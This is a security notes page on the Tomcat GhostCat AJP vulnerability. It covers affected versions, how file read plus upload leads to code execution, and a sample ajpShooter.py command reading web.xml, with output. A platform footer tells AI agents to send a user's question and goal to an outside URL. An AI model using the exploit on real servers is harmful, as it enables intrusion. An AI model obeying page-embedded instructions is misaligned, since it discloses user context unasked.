> For the complete documentation index, see [llms.txt](https://0xpthree.gitbook.io/notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://0xpthree.gitbook.io/notes/exploits-pocs/apache/tomcat-cve-2020-1938-cve-2020-10487.md).

# Tomcat - CVE-2020-1938 / CVE-2020-10487

Also known as <mark style="color:red;">**GhostCat**</mark>.

#### Affected Versions and Fixed Version \[1]

| Apache Version  | Affected Release Versions | Fixed Version |
| --------------- | :-----------------------: | ------------: |
| Apache Tomcat 9 |      9.0.30 and below     |        9.0.31 |
| Apache Tomcat 8 |      8.5.50 and below     |        8.5.51 |
| Apache Tomcat 7 |      7.0.99 and below     |       7.0.100 |

The vulnerability exists when the conditions of <mark style="color:red;">**RCE**</mark> are met:

Web applications **need to allow files to be uploaded** and stored in web applications. Otherwise, attackers will have to **control the content of web applications** in some way. This situation, together with the ability to **process files as JSPS** (through vulnerabilities), will make rce possible.

1. Through ghostcat vulnerability, an attacker can read any file in the webapp directory deployed under Tomcat by using the AJP connection which is usually found on port 8009.
2. At the same time, if this application has upload function in the website service, the attacker can also upload a malicious file containing JSP code to the server (upload file can be any type, image, plain text file, etc.), and then use ghostcat to include the file, so as to achieve the harm of code execution.

The script [**ajpShooter.py**](https://github.com/00theway/Ghostcat-CNVD-2020-10487) can be used for RCE.

```bash
$ python3 ajpShooter.py http://127.0.0.1:8080/demo 8009 /WEB-INF/web.xml read

       _    _         __ _                 _
      /_\  (_)_ __   / _\ |__   ___   ___ | |_ ___ _ __
     //_\\ | | '_ \  \ \| '_ \ / _ \ / _ \| __/ _ \ '__|
    /  _  \| | |_) | _\ \ | | | (_) | (_) | ||  __/ |
    \_/ \_// | .__/  \__/_| |_|\___/ \___/ \__\___|_|
         |__/|_|
                                                00theway,just for test
                                            
[<] 200 OK
[... snip ...]
<?xml version"1.0" encoding="UTF-8"?>
...
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://0xpthree.gitbook.io/notes/exploits-pocs/apache/tomcat-cve-2020-1938-cve-2020-10487.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
